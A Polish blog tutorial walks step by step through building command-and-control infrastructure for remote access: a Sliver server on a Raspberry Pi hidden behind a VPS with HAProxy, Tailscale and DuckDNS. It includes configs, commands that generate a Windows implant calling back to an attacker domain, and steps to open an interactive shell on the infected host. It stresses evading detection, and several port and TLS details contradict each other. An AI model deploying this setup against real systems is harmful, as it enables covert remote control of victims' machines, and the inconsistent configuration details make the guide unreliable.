# Budżetowa infrastruktura C2 na Raspberry Pi: montaż krok po kroku w jeden wieczór
Tworzenie infrastruktury dowodzenia i kontroli (C2) do badań w cyberbezpieczeństwie często kojarzy się z drogimi komercyjnymi rozwiązaniami. W tym przewodniku szczegółowo opisano implementację w pełni funkcjonalnego systemu C2 na Raspberry Pi 4 z wykorzystaniem otwartego oprogramowania. Nacisk położono na minimalizację kosztów przy zachowaniu kluczowych funkcji: szyfrowanego ruchu sieciowego, dynamicznego DNS i odporności na wykrycie. Materiał ten jest przeznaczony wyłącznie do celów edukacyjnych w ramach etycznego hackingu.
Układ budżetowej infrastruktury C2
Do montażu potrzebne będą:
- Raspberry Pi 4 (4 GB RAM) — główny serwer implantów
- Karta SD 32 GB
- VPS z 2 GB RAM (koszt od 4 €/mies.) jako publiczny terminal
- Tailscale — do organizacji zabezpieczonego tunelu między komponentami
- Sliver v1.7.3 — otwarta alternatywa dla Cobalt Strike
- DuckDNS — usługa dynamicznego DNS
Architektura systemu opiera się na schemacie: implant → duckdns.org:443 → VPS (HAProxy) → Tailscale → Raspberry Pi (Sliver:31337). Taka topologia ukrywa rzeczywisty adres IP Raspberry Pi za publicznym domenem i zapewnia szyfrowanie ruchu na wszystkich etapach transmisji.
Konfiguracja zabezpieczonego tunelu za pomocą Tailscale
Instalacja Tailscale na Raspberry Pi i VPS przebiega identycznie. Wykonaj w terminalu:
curl -fsSL https://tailscale.com/install.sh | sh
sudo tailscale up
Po autoryzacji przez przeglądarkę system przypisze każdemu węzłu unikalny adres Tailscale (np. Pi: 100.92.XX.XXX, VPS: 100.106.XXX.XX). Sprawdź łączność między węzłami:
ping 100.92.XXX.XXX
Kluczowa zaleta: ruch między komponentami jest szyfrowany end-to-end, co uniemożliwia przechwycenie na węzłach pośrednich. Tailscale automatycznie aktualizuje trasy przy zmianie adresów IP, co jest kluczowe dla stabilności połączenia.
Wdrażanie Sliver na Raspberry Pi
Pobierz binarny plik Sliver dla architektury ARM64:
cd /tmp
wget https://github.com/BishopFox/sliver/releases/download/v1.7.3/sliver-server_linux_arm64
sudo install -m 755 sliver-server_linux_arm64 /usr/local/bin/sliver-server
Uruchom serwer w trybie demona, zezwalając na połączenia z dowolnego interfejsu:
sliver-server daemon --lhost 0.0.0.0 --lport 31338
Słuchacz dla implantów aktywuje się na porcie 31337. Do zarządzania użyj konsoli Sliver: sliver-server console. Upewnij się, że port 31337 jest otwarty w zaporze sieciowej Raspberry Pi.
Konfiguracja HAProxy na VPS
Zainstaluj HAProxy na serwerze wirtualnym:
sudo apt install -y haproxy
Wprowadź zmiany w pliku konfiguracyjnym /etc/haproxy/haproxy.cfg:
global
log /dev/log local0
maxconn 10000
defaults
mode tcp
timeout connect 5s
timeout client 60s
timeout server 60s
frontend sliver_frontend
bind :443
default_backend sliver_backend
backend sliver_backend
server pi4 100.92.XXX.XXX:31337 check
Restartuj usługę:
sudo systemctl enable haproxy
sudo systemctl start haproxy
HAProxy działa jako terminator TLS, przekierowując ruch z portu 443 na wewnętrzny adres Raspberry Pi przez Tailscale. Sprawdź działanie: openssl s_client -connect your-domen.duckdns.org:443.
Integracja dynamicznego DNS
Zarejestruj domenę w DuckDNS i powiąż ją z publicznym adresem IP VPS. Dla automatycznego aktualizowania adresu IP dodaj skrypt aktualizacji do crona. Sprawdź rozdzielczość domeny:
dig your-domen.duckdns.org
Ten krok jest kluczowy dla stabilności połączenia przy zmianie zewnętrznego IP VPS. DuckDNS gwarantuje, że nazwa domeny zawsze będzie wskazywać na aktualny adres serwera.
Generowanie i testowanie implantu
W konsoli Sliver utwórz słuchacz HTTP:
http --domain your-domen.duckdns.org --lhost 0.0.0.0 --lport 31337
Wygeneruj implant dla Windows z uwierzytelnianiem MTLS:
generate --mtls your-domen.duckdns.org:443 --format exe --os windows --save /tmp/sliver.exe
Przenieś plik na system testowy Windows 10 (wstępnie wyłącz ochronę dla celów demonstracyjnych). Po uruchomieniu implantu w konsoli Sliver pojawi się sesja:
[*] Session c5360843 UNIFORM_DISGUST - 100.106.xxx.xx:48190 (win10) - windows/amd64
Połącz się z sesją:
sessions -i c5360843
shell
Testy potwierdzają odporność połączenia: sesje nie przerywają się przy restarcie implantu lub zmianie środowiska sieciowego.
Optymalizacja i eksploatacja systemu
Dla zwiększenia odporności na awarie zaleca się:
- Skonfigurować autostart Sliver przez systemd
- Dodać monitorowanie logów HAProxy
- Używać oddzielnych domen dla różnych słuchaczy
- Regularnie aktualizować certyfikaty Let's Encrypt
Kluczowe polecenia do bieżącego zarządzania:
# Uruchomienie Sliver
sliver-server daemon --lhost 0.0.0.0 --lport 31338
# Wyświetlenie aktywnych sesji
sessions
# Wejście do interaktywnej powłoki
sessions -i <ID>\nshell
System umożliwia zarządzanie implantami przez aplikację mobilną Tailscale, co zapewnia dostęp do infrastruktury z dowolnego miejsca na świecie.
Co ważne
- Architektura z podwójnym szyfrowaniem (TLS + Tailscale) zmniejsza prawdopodobieństwo wykrycia ruchu
- Miesięczne koszty ograniczają się do opłaty za VPS (od 4 €), reszta oprogramowania jest otwarta
- Raspberry Pi 4 zapewnia wystarczającą wydajność do obsługi do 50 jednoczesnych sesji
- Integracja DuckDNS rozwiązuje problem dynamicznych IP bez dodatkowych kosztów
- Sliver w pełni zastępuje komercyjne odpowiedniki przy podstawowej wiedzy o bezpieczeństwie sieci
— Editorial Team
Brak komentarzy.